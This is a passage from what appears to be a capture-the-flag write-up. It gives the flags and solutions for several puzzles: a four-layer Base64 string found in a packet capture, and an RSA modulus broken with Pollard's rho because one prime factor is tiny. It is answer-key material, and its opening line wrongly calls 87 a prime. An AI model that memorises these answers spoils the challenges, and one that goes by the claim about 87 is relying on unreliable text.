The challenge then connects this to “special numbers”, leading to prime-number confusion. The writeup notes that 87 is known as the 23rd prime number.
Solution
Following that interpretation, the resulting flag is:
SCSC26{pr1m3_con_fu_si_00n}
Hidden in the Wire 4
Category: Cryptography
File: kabelhiu.pcapng
Hint: “2x2=4 That Simple”
Flag: SCSC26{Th1s_1s_b453_64_51mpl3}
Description
A network packet capture file containing hidden encrypted data.
Analysis
First, examine the pcap file to find any interesting data:
strings kabelhiu.pcapng | grep -iE "[a-zA-Z0-9+/=]{20,}"This reveals a Base64 encoded string in the packet data:
VmxSQ1QxWkdSalpUVkVwc1RWWktkbFJXYUU5YWF6RlpWRzFhV21Gc1JYaFVWRVUwVFdzMVIwOUVSazVXZWtZeldXdFNUMDlSUFQwPQ==Solution
The hint “2x2=4” tells us there are 4 layers of Base64 encoding.
# Layer 1
echo "VmxSQ1QxWkdSalpUVkVwc1RWWktkbFJXYUU5YWF6RlpWRzFhV21Gc1JYaFVWRVUwVFdzMVIwOUVSazVXZWtZeldXdFNUMDlSUFQwPQ==" | base64 -d
# Output: VlRCT1ZGRjZTVEpsTVZKdlRWaE9aazFZVG1aWmFsRXhUVEU0TWs1R09ERk5WekYzWWtST09RPT0=
# Layer 2
echo "VlRCT1ZGRjZTVEpsTVZKdlRWaE9aazFZVG1aWmFsRXhUVEU0TWs1R09ERk5WekYzWWtST09RPT0=" | base64 -d
# Output: VTBOVFF6STJlMVJvTVhOZk1YTmZZalExTTE4Mk5GODFNVzF3YkROOQ==
# Layer 3
echo "VTBOVFF6STJlMVJvTVhOZk1YTmZZalExTTE4Mk5GODFNVzF3YkROOQ==" | base64 -d
# Output: U0NTQzI2e1RoMXNfMXNfYjQ1M182NF81MW1wbDN9
# Layer 4
echo "U0NTQzI2e1RoMXNfMXNfYjQ1M182NF81MW1wbDN9" | base64 -d
# Output: SCSC26{Th1s_1s_b453_64_51mpl3}One-liner solution:
echo "VmxSQ1QxWkdSalpUVkVwc1RWWktkbFJXYUU5YWF6RlpWRzFhV21Gc1JYaFVWRVUwVFdzMVIwOUVSazVXZWtZeldXdFNUMDlSUFQwPQ==" | base64 -d | base64 -d | base64 -d | base64 -dRSA Tradisional
Category: Cryptography
File: chall.txt
Flag: SCSC26{sm4ll_pr1m3_1s_w34k}
Challenge Overview
Classic RSA decryption challenge where we’re given the public key parameters (n, e) and ciphertext (c), but need to factor n to find the private key.
Given Data
n = 2144831537182691127226840733029608917028213290006813425996254255600138294915857888555028089760852947821230571957658788758912243893627426892642042247199424294789573427071703290644668266217757721636207129972073199609043937414663647879045094904418897021363777158941294486149117818217208033779367195636217363694694541
e = 65537
c = 1983234254934925761486284406677131831481570946662392531654817098945817202064275913205054573643771458003143250325225227419382435408653586301494982444166548588851767106811874491325904092340088285777126941515587285167887079578329783781806162085914505940944650957530660228135260917298087314905239242563505803779036874Vulnerability Analysis
The modulus n is 541 digits (approximately 1797 bits), which seems secure. However, the vulnerability is that one of the prime factors is very small.
Using Pollard’s rho factorization algorithm, we can quickly find:
p = 12289(only 14 bits - extremely small!)q = 174532633833728629443147589960908854831818153633885053787635629880392081936354291525350157845296846596243028070441760009676315720858281950739852082935912140515060088458922881491143971536964579839571660018884628497765801726313259653270819017366660999378613162905142361961845375394027832515206053839711722979469
Solution
import math
n = 2144831537182691127226840733029608917028213290006813425996254255600138294915857888555028089760852947821230571957658788758912243893627426892642042247199424294789573427071703290644668266217757721636207129972073199609043937414663647879045094904418897021363777158941294486149117818217208033779367195636217363694694541
e = 65537
c = 1983234254934925761486284406677131831481570946662392531654817098945817202064275913205054573643771458003143250325225227419382435408653586301494982444166548588851767106811874491325904092340088285777126941515587285167887079578329783781806162085914505940944650957530660228135260917298087314905239242563505803779036874
# Pollard's rho factorization
def pollard_rho(n):
if n % 2 == 0:
return 2
x, y, d = 2, 2, 1
f = lambda x: (x * x + 1) % n
while d == 1:
x = f(x)
y = f(f(y))
d = math.gcd(abs(x - y), n)
return d if d != n else None
# Factor n
p = pollard_rho(n) # Returns 12289
q = n // p
# Calculate private key
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
# Decrypt
m = pow(c, d, n)
flag = m.to_bytes((m.bit_length() + 7) // 8, 'big').decode()
print(flag) # SCSC26{sm4ll_pr1m3_1s_w34k}That wraps up the qualification round. If anything’s unclear or you spot a better approach, hit me up. Happy hacking!
